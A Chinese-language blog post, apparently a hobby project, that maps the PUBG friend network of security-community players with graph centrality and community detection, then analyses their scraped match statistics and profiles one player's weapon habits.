俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。